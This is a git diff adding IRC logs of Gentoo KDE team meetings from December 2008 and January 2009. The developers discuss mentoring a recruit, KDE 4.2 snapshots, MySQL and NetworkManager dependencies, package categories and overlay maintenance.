+2008 Dec 04 20:57:18  <jmbsvicetto> scarabeus: Yes, you're right
+2008 Dec 04 20:57:22  <jmbsvicetto> sure
+2008 Dec 04 20:57:30  <jmbsvicetto> keytoaster: I think it has to be you doing it
+2008 Dec 04 20:57:45  <jmbsvicetto> keytoaster: iirc, we transfered +F to you
+2008 Dec 04 20:58:57  <bonsaikitten> oooh. can has access :D
+2008 Dec 04 20:59:01  <jmbsvicetto> yngwin: seems I was able to grant it to you
+2008 Dec 04 20:59:06  <bonsaikitten> DrEeevil: you fail.
+2008 Dec 04 20:59:08  <-- NSaibot (n=quassel@i3ED6C704.versanet.de) has quit (Remote closed the connection)
+2008 Dec 04 20:59:12  <jmbsvicetto> bonsaikitten: :)
+2008 Dec 04 20:59:32  <scarabeus> ok one more infra thing
+2008 Dec 04 20:59:36  -=- Mode #gentoo-kde [+o yngwin] by jmbsvicetto
+2008 Dec 04 20:59:44  <scarabeus> tampakrap would need normal mentor if he wants to became full dev
+2008 Dec 04 20:59:51  <scarabeus> i am willing to help him with the quiz
+2008 Dec 04 20:59:57  <scarabeus> but someone must oversee
+2008 Dec 04 20:59:59  <scarabeus> who can do that
+2008 Dec 04 21:00:11  <bonsaikitten> I'm too young for that I think
+2008 Dec 04 21:00:14  <scarabeus> end-quiz we are speaking about
+2008 Dec 04 21:00:15  <jmbsvicetto> I'm also willing to help, but I still don't have the 6 months, so I can't mentor
+2008 Dec 04 21:00:16  --> genady12 (n=genady12@87.69.85.204) has joined #gentoo-kde
+2008 Dec 04 21:00:17  <tampakrap> first of all is everyone ok with that?
+2008 Dec 04 21:00:19  <bonsaikitten> my quantum status is confusing
+2008 Dec 04 21:00:31  -*- bonsaikitten is 2 years on, 2 years off ...
+2008 Dec 04 21:00:42  <jmbsvicetto> bonsaikitten: You're *chaotic* ;)
+2008 Dec 04 21:00:44  <scarabeus> bonsaikitten: ;] you are cheating :D
+2008 Dec 04 21:00:47  <krytzz> i am
+2008 Dec 04 21:00:55  <bonsaikitten> so is that 2 years or 2 months now? :)
+2008 Dec 04 21:00:57  --> oc2k1 (n=oc2k1@p5B104618.dip.t-dialin.net) has joined #gentoo-kde
+2008 Dec 04 21:01:16  <jmbsvicetto> bonsaikitten: we need to ask Betelgeuse
+2008 Dec 04 21:01:22  <bonsaikitten> :)
+2008 Dec 04 21:01:39  <bonsaikitten> I think it is better if I stay out of it for a while
+2008 Dec 04 21:01:39  <krytzz> perhaps jokey could do it?
+2008 Dec 04 21:01:54  <jmbsvicetto> krytzz: jokey is away
+2008 Dec 04 21:01:56  <yngwin> i thought jokey was caught up in real life
+2008 Dec 04 21:01:57  <scarabeus> jokay is away
+2008 Dec 04 21:02:01  <krytzz> ok
+2008 Dec 04 21:02:06  <scarabeus> yngwin: you cant do it?
+2008 Dec 04 21:02:19  <yngwin> i can
+2008 Dec 04 21:02:29  <yngwin> although i dont feel guru enough
+2008 Dec 04 21:02:53  <scarabeus> :]
+2008 Dec 04 21:03:07  <bonsaikitten> yngwin: you are guru enough!
+2008 Dec 04 21:03:14  <scarabeus> dont worry, from mine humble PoV you are guru enought
+2008 Dec 04 21:03:16  <yngwin> well, if you say so :)
+2008 Dec 04 21:03:27  <jmbsvicetto> :)
+2008 Dec 04 21:03:36  <tampakrap> thanks :)
+2008 Dec 04 21:03:52  <yngwin> is there a bug for tampakrap's recruitment?
+2008 Dec 04 21:04:01  <tampakrap> no
+2008 Dec 04 21:04:02  <keytoaster> keytoaster: yes you did
+2008 Dec 04 21:04:06  <keytoaster> err
+2008 Dec 04 21:04:08  <-- Scorcerer (n=Scorek@77-87-120-128.rev.masterkom.pl) has quit (Connection timed out)
+2008 Dec 04 21:04:08  -=- Scorcere1 is now known as Scorcerer
+2008 Dec 04 21:04:08  <keytoaster> jmbsvicetto: yes you did
+2008 Dec 04 21:04:21  <scarabeus> yngwin: nope i can create one, i made him HT yesterday
+2008 Dec 04 21:04:27  <yngwin> okay
+2008 Dec 04 21:04:42  <jmbsvicetto> I let it pass, but since scarabeus mentioned the project page, we both applied some changes to the page to integrate KDE4 as a regular release and to update the status of the overlays
+2008 Dec 04 21:04:58  <jmbsvicetto> Don't know if everyone has checked it and whether there's any objection to it
+2008 Dec 04 21:05:03  <yngwin> scarabeus: then i'll second on that, and then we can see what betelgeuse says
+2008 Dec 04 21:05:09  <-- scratch[x] (n=scratch@83.239.148.148) has quit (No route to host)
+2008 Dec 04 21:05:14  <yngwin> tampakrap: kaloriziko ;)
+2008 Dec 04 21:05:23  <tampakrap> wtf?
+2008 Dec 04 21:05:25  <scarabeus> we can do this stuff after meeting, great :]
+2008 Dec 04 21:05:43  <scarabeus> ok last two things per my list
+2008 Dec 04 21:05:46  <scarabeus> first is kde4.2
+2008 Dec 04 21:05:50  <scarabeus> so what shape is it in
+2008 Dec 04 21:05:56  <scarabeus> it is just statusreport for it
+2008 Dec 04 21:06:00  <jmbsvicetto> scarabeus: Good and BAD!!!
+2008 Dec 04 21:06:01  <scarabeus> so speak up kde-crazy people
+2008 Dec 04 21:06:04  <bonsaikitten> I'll take care of them snapshots
+2008 Dec 04 21:06:09  <reavertm> well, it works :)
+2008 Dec 04 21:06:15  <tampakrap> i'll also give priority to snapshots
+2008 Dec 04 21:06:21  <krytzz> plasma crashes often :p
+2008 Dec 04 21:06:22  <yngwin> kde 4.2? its crap. it friggin' needs mysql
+2008 Dec 04 21:06:28  <jmbsvicetto> scarabeus: my keyboard layout is still messed up - but nepomuk and plasma have a better look ;)
+2008 Dec 04 21:06:36  <bonsaikitten> it works quite well for me
+2008 Dec 04 21:06:41  <krytzz> also for me nepomuk is strange
+2008 Dec 04 21:06:46  <bonsaikitten> had a few compile failures, but nothing unexpected
+2008 Dec 04 21:06:54  <reavertm> I guess trunk is way better than snapshots, but... regressions are quite often recently
+2008 Dec 04 21:07:01  <krytzz> but rest is ok
+2008 Dec 04 21:07:02  <reavertm> ebuild-wise - it's pretty mature
+2008 Dec 04 21:07:14  <jmbsvicetto> One important point about snapshots, they can't rely on live packages
+2008 Dec 04 21:07:24  <bonsaikitten> live is in a very good shape, snapshots have been a bit neglected
+2008 Dec 04 21:07:25  <reavertm> but upstream will mess with buildsystem for sure
+2008 Dec 04 21:07:31  -*- bonsaikitten is just digesting them
+2008 Dec 04 21:07:35  <jmbsvicetto> So we need to bug other teams or add new versions/snapshots if required to the overlay/tree
+2008 Dec 04 21:07:50  <krytzz> especially opensync :p
+2008 Dec 04 21:07:55  <scarabeus> opensync is problem
+2008 Dec 04 21:07:57  <scarabeus> currently
+2008 Dec 04 21:08:20  <scarabeus> and also networkmanager, i took liberty of speaking up with rbu on our behalf
+2008 Dec 04 21:08:31  <reavertm> opensync and it;s plugins were problematic with kde3 already
+2008 Dec 04 21:08:34  <scarabeus> and today/tomorow nm-0.7 hit the tree
+2008 Dec 04 21:08:38  <jmbsvicetto> scarabeus: one solution is to try to add an update to kde-crazy overlay until it gets in the tree
+2008 Dec 04 21:08:52  <krytzz> ah nice
+2008 Dec 04 21:08:55  <reavertm> kitchensync is just lame kde3 port
+2008 Dec 04 21:08:59  <jmbsvicetto> scarabeus: rbu has shown interest in getting nm working
+2008 Dec 04 21:09:03  <scarabeus> yes
+2008 Dec 04 21:09:08  <jmbsvicetto> scarabeus: he might need some help with it, though
+2008 Dec 04 21:09:09  <scarabeus> he already made it work
+2008 Dec 04 21:09:17  <scarabeus> jmbsvicetto: well i will ask
+2008 Dec 04 21:09:48  <jmbsvicetto> The GNOME team was also interested in getting 0.7 in the tree, iirc
+2008 Dec 04 21:10:19  <reavertm> yeah, everyone is crazy about those networkmanager desktop applets...
+2008 Dec 04 21:10:42  <bonsaikitten> can we prevent such cross-repo dependencies in the future?
+2008 Dec 04 21:10:54  <jmbsvicetto> I would just love to get some applet that does the eap stuff for me ;)
+2008 Dec 04 21:11:05  <jmbsvicetto> bonsaikitten: what deps?
+2008 Dec 04 21:11:08  <scarabeus> there will be rule for next time all must be on portage/overlay
+2008 Dec 04 21:11:14  <bonsaikitten> like nm 
+2008 Dec 04 21:11:23  <reavertm> like kde4 requiring nm from rbu overlay
+2008 Dec 04 21:11:24  <bonsaikitten> we should have a copy in our repo if that happens
+2008 Dec 04 21:11:31  <jmbsvicetto> yeah, agreed
+2008 Dec 04 21:11:36  <krytzz> hm but this sucks somehow
+2008 Dec 04 21:11:44  <krytzz> if you have both overlays you have the ebuild 2 times
+2008 Dec 04 21:11:50  <jmbsvicetto> at least until we can get Zac to support repo deps ;)
+2008 Dec 04 21:11:50  <krytzz> and you dont know if the 2 differ or something
+2008 Dec 04 21:12:05  <scarabeus> repodeps ;]
+2008 Dec 04 21:12:10  <scarabeus> it sounds llike sam rep band
+2008 Dec 04 21:12:11  <krytzz> also its additional maintenance work
+2008 Dec 04 21:12:25  <tampakrap> talking about overlays i'd like to remind everyone that versioned misc packages go to kde-testing :)
+2008 Dec 04 21:12:35  <jmbsvicetto> krytzz: yes, we should only have them until it gets pushed into the tree
+2008 Dec 04 21:12:36  <reavertm> yeah, i just see GLEP for it being discussed, then presented, then rejected or suspended :P
+2008 Dec 04 21:12:39  <krytzz> ok tampakrap :p
+2008 Dec 04 21:13:02  <scarabeus> ok so what with opensync
+2008 Dec 04 21:13:06  <scarabeus> it is BbD
+2008 Dec 04 21:13:08  <jmbsvicetto> tampakrap: versioned "not known to be broken" misc packages ;)
+2008 Dec 04 21:13:13  <scarabeus> broken by design
+2008 Dec 04 21:13:13  <krytzz> i wouldnt mind with a central gentoo-deps overlay :p
+2008 Dec 04 21:13:30  <bonsaikitten> we call that "the main tree"
+2008 Dec 04 21:13:38  <reavertm> scarabeus you mean opensync akonadi plugin or kitchensync?
+2008 Dec 04 21:13:44  <bonsaikitten> so, how fast are we going to get 4.2 there as ~arch?
+2008 Dec 04 21:13:51  <krytzz> bonsaikitten then stab people to get things faster in there then :p
+2008 Dec 04 21:13:54  <bonsaikitten> and is kde 4.2 a stable candidate?
+2008 Dec 04 21:14:06  <jmbsvicetto> bonsaikitten: I don't think we should get 4.2 in the tree until RC
+2008 Dec 04 21:14:09  <scarabeus> yeah crappy opensync
+2008 Dec 04 21:14:16  <bonsaikitten> krytzz: I'm just cleaning up. If that's not enough go screw yourself counterclockwise ;)
+2008 Dec 04 21:14:24  <jmbsvicetto> bonsaikitten: I would also hard mask the RCs and lift the mask with 4.2
+2008 Dec 04 21:14:25  <tampakrap> i think it is time to have a stable kde4 version
+2008 Dec 04 21:14:31  <bonsaikitten> jmbsvicetto: acceptable
+2008 Dec 04 21:14:48  <reavertm> scarabeus yes, but be more specific, opensync from portage is crappy or kde opensync support?
+2008 Dec 04 21:14:49  <krytzz> i think if the 4.2 progress continues like know it should be great by 4.2.1
+2008 Dec 04 21:14:58  <scarabeus> opensync from portage
+2008 Dec 04 21:14:59  <krytzz> now
+2008 Dec 04 21:14:59  <jmbsvicetto> bonsaikitten: we might however start thinking on moving 4.2 into kde-testing
+2008 Dec 04 21:15:02  <scarabeus> opensync itself
+2008 Dec 04 21:15:09  <jmbsvicetto> bonsaikitten: at least as soon as we take care of the eclasses
+2008 Dec 04 21:15:17  <scarabeus> eclasses first! :D
+2008 Dec 04 21:15:17  <tampakrap> jmbsvicetto: +1
+2008 Dec 04 21:15:34  <jmbsvicetto> and I do think 4.2 should be a stable candidate - let's just see how it works
+2008 Dec 04 21:15:47  <jmbsvicetto> one thing we need to solve quickly is getting 3.5.10 marked stable
+2008 Dec 04 21:16:05  <scarabeus> that is already stated in the summary paper :]
+2008 Dec 04 21:16:08  <reavertm> jmbsvicetto which 4.2? you mean snapshots and revbump as 4.2 and keep them updated along with snaphots from kde-crazy?
+2008 Dec 04 21:16:10  <tampakrap> jmbsvicetto: i'll start working on kde3 right after this meeting
+2008 Dec 04 21:16:18  <reavertm> if yes, then you are crazy ;)
+2008 Dec 04 21:16:33  <tampakrap> why?
+2008 Dec 04 21:16:35  <scarabeus> nope to testing should go only snapshots marked as betaX
+2008 Dec 04 21:16:36  <jmbsvicetto> reavertm: I mean that I think 4.2 snapshots should be moved to testing
+2008 Dec 04 21:16:45  <jmbsvicetto> reavertm: after the eclasses are merged back again
+2008 Dec 04 21:16:49  <scarabeus> snapshot itself i disagree
+2008 Dec 04 21:16:57  <scarabeus> but snapshots for beta1 beta2 rcX
+2008 Dec 04 21:16:58  <scarabeus> yes
+2008 Dec 04 21:17:04  <jmbsvicetto> scarabeus: yes, that's what I mean
+2008 Dec 04 21:17:10  <jmbsvicetto> should have been clearer
+2008 Dec 04 21:17:16  <reavertm> I wouldn't advise that atm - there may be many changes and syncing them between kde-crazy <-> kde-testing ...
+2008 Dec 04 21:17:17  <scarabeus> great then we agree :]
+2008 Dec 04 21:17:34  <scarabeus> reavertm: just delete it and copy from point A to point B
+2008 Dec 04 21:17:39  <jmbsvicetto> reavertm: git cherry-pick ;)
+2008 Dec 04 21:17:41  <scarabeus> it wont harm kittens TM
+2008 Dec 04 21:17:52  <scarabeus> jmbsvicetto: cherry-pick cross repos?
+2008 Dec 04 21:17:56  <jmbsvicetto> yes
+2008 Dec 04 21:17:58  <scarabeus> wow
+2008 Dec 04 21:18:00  <scarabeus> that i didnt know
+2008 Dec 04 21:18:05  <scarabeus> that is even more cooler
+2008 Dec 04 21:18:11  <reavertm> scnaphots are keep sync from live now - and I would just wait until some rc is released, and patched in kde-crazy and then quick revbup and move -> testing
+2008 Dec 04 21:18:28  <jmbsvicetto> scarabeus: hmm, now you're going to force me to test it to be sure I didn't came up with that
+2008 Dec 04 21:18:36  <reavertm> well, if you volunteer to do it :)
+2008 Dec 04 21:19:14  <-- genady12 (n=genady12@87.69.85.204) has quit (Read error: 145 (Connection timed out))
+2008 Dec 04 21:19:15  <scarabeus> ok this can be suspended and handled later
+2008 Dec 04 21:19:20  <jmbsvicetto> reavertm: The idea was to try to have RCs in the tree, so we should try to get something in testing before that
+2008 Dec 04 21:19:21  <scarabeus> now more pain in the ass TM issue
+2008 Dec 04 21:19:25  <scarabeus> mysql
+2008 Dec 04 21:19:28  <scarabeus> whole kde needs it
+2008 Dec 04 21:19:33  <bonsaikitten> aarghl! :)
+2008 Dec 04 21:19:33  <scarabeus> and amarok is chapter itself
+2008 Dec 04 21:19:42  <scarabeus> what to do with it
+2008 Dec 04 21:19:43  <jmbsvicetto> scarabeus: There's only one option here: work with robbat2
+2008 Dec 04 21:19:50  <krytzz> yes... we cant do anything about that :(
+2008 Dec 04 21:19:58  <scarabeus> did you see the eclass
+2008 Dec 04 21:19:58  <reavertm> yes, I agres 4.2 should be in tree asap but moving it to testing only for the sake of having it in kde-testing is bad idea imho
+2008 Dec 04 21:20:01  <krytzz> does he maintain mysql?
+2008 Dec 04 21:20:04  <scarabeus> did? did? i dont like it
+2008 Dec 04 21:20:09  <scarabeus> krytzz: yes he does
+2008 Dec 04 21:20:09  <jmbsvicetto> scarabeus: I've asked him yesterday and he's still waiting for mysql upstream to reply to his request for a dynamic lib for mysql/e
+2008 Dec 04 21:20:17  <reavertm> I've already put my mysql rant in gentoo-dev :P
+2008 Dec 04 21:20:17  <krytzz> ah ok
+2008 Dec 04 21:20:31  <jmbsvicetto> scarabeus: what do you mean?
+2008 Dec 04 21:21:03  <scarabeus> jmbsvicetto: too chaotical too much patches too much crazy
+2008 Dec 04 21:21:11  <scarabeus> but i dunno how is upstream cooperating
+2008 Dec 04 21:21:19  <jmbsvicetto> reavertm: The point of kde-testing is to be the bridge to the tree
+2008 Dec 04 21:21:28  <scarabeus> ok on other hand who is willing to cooperate with robbat2 on that?
+2008 Dec 04 21:21:32  <jmbsvicetto> scarabeus: you mean mysql eclass?
+2008 Dec 04 21:21:37  <scarabeus> jmbsvicetto: ay sir
+2008 Dec 04 21:21:46  <jmbsvicetto> scarabeus: mysql isn't that "simple"
+2008 Dec 04 21:22:05  <jmbsvicetto> scarabeus: And robbat2 if surely one if not the "one" gentoo mysql yoda
+2008 Dec 04 21:22:09  <jmbsvicetto> s/if/is/
+2008 Dec 04 21:22:12  <reavertm> I've seen this eclass and it's.. well.. a bit complex as eclass for one package
+2008 Dec 04 21:22:34  <bonsaikitten> reavertm: it adds a build system to a braindead package ;)
+2008 Dec 04 21:22:39  <jmbsvicetto> scarabeus: I'm willing to work with robbat2 about mysql
+2008 Dec 04 21:22:58  <reavertm> yeah, I heard....
+2008 Dec 04 21:23:09  --> genady12 (n=genady12@87.69.85.204) has joined #gentoo-kde
+2008 Dec 04 21:23:12  <scarabeus> great puting you to the txt :]
+2008 Dec 04 21:23:27  <scarabeus> ok issues from my side mentioned
+2008 Dec 04 21:23:32  <jmbsvicetto> scarabeus: I'll have to check that text - it feels like I'm being "canned" ;)
+2008 Dec 04 21:23:36  <scarabeus> someone else has something that needs to be handled
+2008 Dec 04 21:23:49  <scarabeus> jmbsvicetto: dont worry i try to make it to be factical
+2008 Dec 04 21:23:58  <tampakrap> is there an open bug for 3.5.10 stabilization?
+2008 Dec 04 21:24:01  <jmbsvicetto> yes
+2008 Dec 04 21:24:08  <tampakrap> if not let's create one to sum up the issues
+2008 Dec 04 21:24:12  <tampakrap> ok then
+2008 Dec 04 21:24:15  <krytzz> yeah, about the kde-plasma category: could we do it?
+2008 Dec 04 21:24:15  <jmbsvicetto> If ctrl+f3 worked here, I could get you the number quicker ;)
+2008 Dec 04 21:24:17  <tampakrap> i'll search
+2008 Dec 04 21:24:24  <jmbsvicetto> bug kde-3.5.10
+2008 Dec 04 21:24:27  <krytzz> do you like it?
+2008 Dec 04 21:24:44  <jmbsvicetto> krytzz: I don't think we should go down that route
+2008 Dec 04 21:25:13  <scarabeus> ok what are the alternatives
+2008 Dec 04 21:25:14  <jmbsvicetto> krytzz: If we try to get kde-plasma, kde-plasmoids, ..., we're going to create resistance
+2008 Dec 04 21:25:28  <krytzz> no, only kde-plasma jmbsvicetto for everything plasma-related
+2008 Dec 04 21:25:31  <scarabeus> kde-plasma only it is going to be
+2008 Dec 04 21:25:32  <jmbsvicetto> we've lived with kde-base and kde-misc for a long, long time
+2008 Dec 04 21:25:34  <tampakrap> could we have plasmoids for more than one version? and in case of slotted kde's, could we install a plasmoid for every session?
+2008 Dec 04 21:25:59  <jmbsvicetto> how many packages are we talking and what type of packages
+2008 Dec 04 21:25:59  <scarabeus> tampakrap: nope it is same as misc packages for more kde installs
+2008 Dec 04 21:26:09  <reavertm> tampakrap they won't build that easy
+2008 Dec 04 21:26:11  <scarabeus> jmbsvicetto: plasma aplets and enginges
+2008 Dec 04 21:26:15  <krytzz> hm ok thats just personal preference how filled the categories are, but i prefer fewer packages per category
+2008 Dec 04 21:26:28  <scarabeus> currently about 150 on kde-apps/look
+2008 Dec 04 21:26:39  <scarabeus> and we can bundle them all in the end
+2008 Dec 04 21:26:54  <jmbsvicetto> scarabeus: if we're talking about kde-look, perhaps we're going down the wrong path
+2008 Dec 04 21:26:58  <reavertm> categories are bad btw, some tag clouds should be introduced one day...
+2008 Dec 04 21:27:10  <jmbsvicetto> scarabeus: I'm thinking if we couldn't try to do something similar to what the perl team did with cpan
+2008 Dec 04 21:27:15  --> Eythan (n=Eythan@AMontpellier-152-1-30-159.w81-251.abo.wanadoo.fr) has joined #gentoo-kde
+2008 Dec 04 21:27:16  <krytzz> reavertm one day... yes :p
+2008 Dec 04 21:27:22  <scarabeus> jmbsvicetto: what they did
+2008 Dec 04 21:27:40  <scarabeus> some perl magic i guess ;]
+2008 Dec 04 21:27:45  <jmbsvicetto> yup ;)
+2008 Dec 04 21:28:09  --> fedux (n=fedux@190.55.126.139) has joined #gentoo-kde
+2008 Dec 04 21:28:11  <jmbsvicetto> app-portage/g-cpan g-cpan: generate and install CPAN modules using portage
+2008 Dec 04 21:28:19  <krytzz> hm
+2008 Dec 04 21:28:58  <krytzz> i assume this is like ruby gems?
+2008 Dec 04 21:28:59  <reavertm> so dedicated tool only for some plasmoids?
+2008 Dec 04 21:29:24  <reavertm> not worth it imho
+2008 Dec 04 21:29:31  <jmbsvicetto> I haven't looked at their implementation, but if I'm not mistaken, they've created a tool to help install packages in cpan. So instead of having one ebuild for every kde-look package, we could try to have some tool that helps install packages from kde-look
+2008 Dec 04 21:29:38  <tampakrap> i thought that upstream was going to apply a tool for downloading and easy installing plasmoids
+2008 Dec 04 21:29:53  <krytzz> yeah kde-look, but plasmoids still have to be compiled
+2008 Dec 04 21:30:04  <krytzz> cpan stuff not
+2008 Dec 04 21:30:07  <reavertm> and have various dependencies
+2008 Dec 04 21:30:31  <jmbsvicetto> No way to get them working without ebuilds?
+2008 Dec 04 21:30:34  <krytzz> tampakrap hm but only for script plasmoids?
+2008 Dec 04 21:30:34  <tampakrap> and apply to different kde versions
+2008 Dec 04 21:30:44  <tampakrap> i'm not sure
+2008 Dec 04 21:30:48  <reavertm> well, actually I was thinking about some ebuild generator with automatic depencency discovering (originally for plasmoids from playground)
+2008 Dec 04 21:31:11  <scarabeus> jmbsvicetto: not bad idea
+2008 Dec 04 21:31:13  <jmbsvicetto> I think we need to think more about this
+2008 Dec 04 21:31:17  <scarabeus> writing it down as long-term goal
+2008 Dec 04 21:31:18  <reavertm> while ebuild generator (without deps) I got done already, eclass is not yet ready for fetch/unpack from playground
+2008 Dec 04 21:31:56  <jmbsvicetto> Are plasmoids "heavy"?
+2008 Dec 04 21:32:09  <tampakrap> some of them
+2008 Dec 04 21:32:12  <tampakrap> very few
+2008 Dec 04 21:32:13  <krytzz> some are pretty normal c++ apps, so i would say yes
+2008 Dec 04 21:32:33  <krytzz> the script ones can be installed by plasma, we dont have to care about these
+2008 Dec 04 21:33:38  <jmbsvicetto> Anything else?
+2008 Dec 04 21:33:45  <reavertm> well, we could do as well some knewstuff2 interface for kde4 for plasmoids but we're not kde devs..
+2008 Dec 04 21:34:10  <reavertm> (it could reduce problem of plasmoids to installing them as icon themes)
+2008 Dec 04 21:34:26  <krytzz> yeah debug useflag in eclass
+2008 Dec 04 21:34:33  <krytzz> but ok this was already discussed
+2008 Dec 04 21:34:41  <scarabeus> it is on dev already
+2008 Dec 04 21:34:45  <reavertm> was it?
+2008 Dec 04 21:34:45  <krytzz> ah ok
+2008 Dec 04 21:34:46  <scarabeus> so lets see how that evolve
+2008 Dec 04 21:34:53  <reavertm> aa, my proposition?
+2008 Dec 04 21:34:59  <scarabeus> reavertm: we might have to write it as glep
+2008 Dec 04 21:35:00  <reavertm> it won't evolve...
+2008 Dec 04 21:35:03  <scarabeus> and push it trhought
+2008 Dec 04 21:35:38  <reavertm> no way, just pass - it's against "ultimate freedom" and to package manager specific
+2008 Dec 04 21:35:45  <scarabeus> i dont care they are picky about it, i think they would not agree with anything that does not worship their ethernal glory (dont cite me that is just brief overview of those flames)
+2008 Dec 04 21:35:46  <reavertm> as it uses FEATURES
+2008 Dec 04 21:36:43  <reavertm> anyway, "our own" debug suport you mean?
+2008 Dec 04 21:37:03  <reavertm> well, "additiomnal debug codepaths" are supported already
+2008 Dec 04 21:38:01  <krytzz> hm so scarabeus whats the role model for kde-misc ebuilds now?
+2008 Dec 04 21:38:22  <scarabeus> krytzz: have no idea
+2008 Dec 04 21:38:29  <scarabeus> everything what is not in kde-base
+2008 Dec 04 21:38:32  <reavertm> actually I see no role for kde-misc really - never seen
+2008 Dec 04 21:38:32  <scarabeus> from what i can see
+2008 Dec 04 21:38:44  <reavertm> ok, kdevelop, kdesvn then?
+2008 Dec 04 21:39:03  <krytzz> hm
+2008 Dec 04 21:39:09  <scarabeus> oh it is mess like hell
+2008 Dec 04 21:39:14  <reavertm> kdevelop is in KDE even and it will be in kde-base soon I guess (released as part of KDE)
+2008 Dec 04 21:39:21  <reavertm> it is messy a bit
+2008 Dec 04 21:40:00  <scarabeus> ok is this still part of meeting chat or we can dismisso ourselfs?
+2008 Dec 04 21:40:11  <krytzz> i have nothing further
+2008 Dec 04 21:40:12  <scarabeus> oh typos it is going to kill me one day
+2008 Dec 04 21:40:39  <reavertm> scarabeus bug wranglers - needed or not?
+2008 Dec 04 21:40:47  <scarabeus> not now, we have pretty big list
+2008 Dec 04 21:40:59  <scarabeus> i will write it onto longterm with you as person interested
+2008 Dec 04 21:40:59  <scarabeus> ok
+2008 Dec 04 21:41:01  <scarabeus> ?
+2008 Dec 04 21:41:37  <jmbsvicetto> I think you're looking at it from the wrong pov - bug-wranglers
+2008 Dec 04 21:41:40  <reavertm> well, I'm not going to push if it's seen not necessary
+2008 Dec 04 21:42:13  <yngwin> ok, i'm putting in a staffing-needs/recruitment request for developers and/or herd testers for qt herd
+2008 Dec 04 21:42:16  <reavertm> I would like to model it a bit like KDE team, at least have more of them than 1
+2008 Dec 04 21:42:25  <jmbsvicetto> We don't need bug wranglers to look at new bugs and check if they're kde bugs. We need people that work through kde bugs and help get them resolved - by providing patches, by doing tests, by interacting with users.
+2008 Dec 04 21:42:31  <krytzz> ok when the eclasses are merged every kde-testing ebuild should have the KDE_MINIMUM  thing scarabeus?
+2008 Dec 04 21:42:42  <scarabeus> nope
+2008 Dec 04 21:42:56  <scarabeus> krytzz: kde_minimal is only override variable
+2008 Dec 04 21:43:00  <scarabeus> it should work as they are now
+2008 Dec 04 21:43:10  <scarabeus> read up description in eclass
+2008 Dec 04 21:43:13  <krytzz> ok
+2008 Dec 04 21:43:14  <krytzz> ill do
+2008 Dec 04 21:43:45  <jmbsvicetto> ok, one last request from me - if you work in the overlays, be sure to run repoman full from time to time. There's some extra cookies for those also running pcheck ;)
+2008 Dec 04 21:44:04  <scarabeus> http://dev.gentoo.org/~scarabeus/kde_meeting_state.txt
+2008 Dec 04 21:44:12  <scarabeus> and i am going to save the log from this
+2008 Dec 04 21:44:13  <krytzz> got it ^^
+2008 Dec 04 21:44:21  <scarabeus> should i put it onto kde space?
+2008 Dec 04 21:44:37  <tampakrap> and please try to forward my access to kde-testing, i want to do some kde3 work there
+2008 Dec 04 21:45:58  <jmbsvicetto> scarabeus: sure
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-log-20090108.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-log-20090108.txt
new file mode 100644
index 00000000..264dc6a0
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-log-20090108.txt
@@ -0,0 +1,666 @@
+[20:00:10] <PSYCHO___> my dear friends it the time to start the meeting :]
+[20:00:13] <bonsaikitten> masking 4.1 shouldn't be needed
+[20:00:21] <bonsaikitten> MEATING
+[20:00:22] <Sput> it is.
+[20:00:28] <bonsaikitten> *ding ding ding*
+[20:00:30] <alexxy> yes =)
+[20:00:31] --> linex (n=quassel@60.54.93.166) has joined #gentoo-kde
+[20:00:35] <PSYCHO___> !herd kde
+[20:00:36] <Willikins> PSYCHO___: (kde) caleb, carlo, cryos, deathwing00, genstef, jmbsvicetto, keytoaster, mattepiu, patrick, scarabeus, tgurr
+[20:00:40] <alexxy> time for meating
+[20:00:43] <Sput> emerge -DuvaN world will pull in 4.1 packages unless all your world entries use :3.5
+[20:00:47] <Sput> it's quite annoying actually
+[20:00:49] <bonsaikitten>  /mode +m
+[20:00:52] <bonsaikitten> tehehehehehe
+[20:00:53] *** Mode #gentoo-kde +v alexxy by scarabeus
+[20:01:12] <wired^> =)
+[20:01:20] <alexxy> heh
+[20:01:20] <mortalmatt> Thanks a lot! Have fun with the meeting.
+[20:01:20] <alexxy> =)
+[20:01:28] -*- Sput had to fix his dad's world file to avoid installing KDE4
+[20:01:28] *** Mode #gentoo-kde +v hwoarang by scarabeus
+[20:02:02] --> cryos|work (n=mhanwell@gentoo/developer/cryos) has joined #gentoo-kde
+[20:02:02] *** Mode #gentoo-kde +o cryos|work by ChanServ
+[20:02:08] <-- mortalmatt (n=matthew@p54A6D9A6.dip.t-dialin.net) has quit ("Leaving")
+[20:02:12] <tampakrap> now we can start :)
+[20:02:17] <PSYCHO___> :D
+[20:02:30] <PSYCHO___> cant we have at least few devs anounce their presence
+[20:02:37] -*- yngwin present
+[20:02:44] <cryos|work> Look in the nick list...
+[20:02:52] <yngwin> jmbsvicetto?
+[20:03:15] <linex> hello
+[20:03:25] <linex> I'm using quassel
+[20:03:26] <PSYCHO___> cryos|work: well only you me and yngwin are online, rest is away :]
+[20:03:40] <alexxy> bonsaikitten: ??
+[20:03:43] <bonsaikitten> yes?
+[20:03:44] <alexxy> are you there?
+[20:03:46] <PSYCHO___> he is :]
+[20:03:50] <cryos|work> Sucks - I nearly didn't make it. Compositing and Avogadro crashed my X server...
+[20:03:54] <linex> I got the core running and I use my client to connect to it.
+[20:03:56] <Sput> bonsaikitten is away-faking as usual :)
+[20:04:03] <bonsaikitten> whut!
+[20:04:16] <cryos|work> Its just a bot!
+[20:04:16] <PSYCHO___> ok i guess we can wait few minutes if jmbsvicetto shows up :]
+[20:04:28] <PSYCHO___> or start without him?
+[20:04:29] <tampakrap> maybe reavertm too
+[20:04:31] <cryos|work> bonsaikitten: Are you turing complete?
+[20:04:48] <linex> Why do I have do pane of the same channel topand below
+[20:05:05] <bonsaikitten> cryos|work: I doubt it, but I do have some strange loops
+[20:05:13] <-- the_p (n=the_p@cust.static.62-152-211-38.swisscomdata.ch) has quit (Remote closed the connection)
+[20:05:35] <victorlf__> does anyone know when dev.gentooexperimental.org will be up again?
+[20:05:47] <bonsaikitten> victorlf__: it isn't?
+[20:05:58] <DerKomisar> nope
+[20:05:59] <bonsaikitten> right
+[20:06:45] --> MartyMcFly (n=martin@dslb-088-066-055-066.pools.arcor-ip.net) has joined #gentoo-kde
+[20:07:27] <MrRat> linex: the top one is the chat monitor, it shows activity in all channels that you are in
+[20:07:53] <MrRat> linex: you can move it
+[20:08:05] <MrRat> linex: or hide it by rightclick
+[20:08:16] <tampakrap> why is d.ge.o so popular?
